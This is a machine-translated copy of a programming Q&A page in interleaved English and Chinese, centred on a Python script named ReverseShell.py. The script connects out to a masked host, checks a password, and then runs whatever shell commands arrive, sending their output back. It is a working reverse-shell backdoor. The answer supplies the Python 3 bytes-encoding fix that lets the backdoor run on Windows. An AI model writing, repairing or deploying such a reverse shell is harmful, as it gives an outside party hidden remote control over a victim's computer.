简体   繁体   English

Python 套接字错误“a bytes-like object is requred not 'str'

[英]Python Socket Errors "a bytes-like object is requred not 'str'

This is my script.这是我的脚本。 It works perfectly on Linux but when I run it on a Windows computer I get 2 errors.它在 Linux 上完美运行,但是当我在 Windows 计算机上运行它时,我得到 2 个错误。 which are listed at the bottom.列在底部。

#!/usr/bin/python
import subprocess   
import socket        

host = "*********"   
port = ***           
passwd = "****"  
def Login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        Login()
    else:
        s.send("SHELL ")
        Shell()

#Execute Shell Commands
def Shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
            break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")

#Start Script
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)       
s.connect((host,port))
Login()

BELOW ARE THE TWO ERRORS what needs to be changed?以下是需要更改的两个错误

C:\Users\IEUser\Desktop\Python>python ReverseShell.py
Traceback (most recent call last):
  File "ReverseShell.py", line 34, in <module>
    Login()
  File "ReverseShell.py", line 11, in Login
    s.send("Login: ")
TypeError: a bytes-like object is required, not 'str'

In python2 sock.send can take a python str in python3 it must be a bytes-like objectpython2 sock.send可以采用 python strpython3中它必须是一个bytes-like object

A simple fix looks like this一个简单的修复看起来像这样

'message'.encode('utf-8')

In python2 this will do nothing, in python3 you get your bytes .python2中,这不会做任何事情,在python3中,你会得到你的bytes BAM!砰!

Hope this helps!希望这可以帮助!

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 httplib2:- 参数应该是 integer 或类似字节的 object,而不是“str” - httplib2 :- argument should be integer or bytes-like object, not 'str' 类型错误:预期的字符串或类似字节的对象,适用于服务器但不适用于 PC - TypeError: expected string or bytes-like object and works on server but not on PC python 中的子进程调用,出现错误“TypeError: expected str, bytes or os.PathLike object, not NoneType - subprocess call in python, getting error "TypeError: expected str, bytes or os.PathLike object, not NoneType 我为 VM 收集铬,TypeError: the JSON object must be str, not 'bytes' - I collect chromium for VM, TypeError: the JSON object must be str, not 'bytes' 有关TypeError的错误:预期的str,字节或os.PathLike对象,而不是NoneType - An error about TypeError: expected str, bytes or os.PathLike object, not NoneType Python 套接字代理示例,调用 bind() 时不断出错。为什么? - Python socket proxy example, keep getting errors calling bind().. why? C套接字编程错误 - C socket programming errors 从c中的套接字读取所有字节 - Read all bytes from socket in c 如何使用套接字API发送和接收字节? - How to send and receive bytes with socket apis? Java从Linux上的Socket读取字节 - Java read bytes from Socket on Linux
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM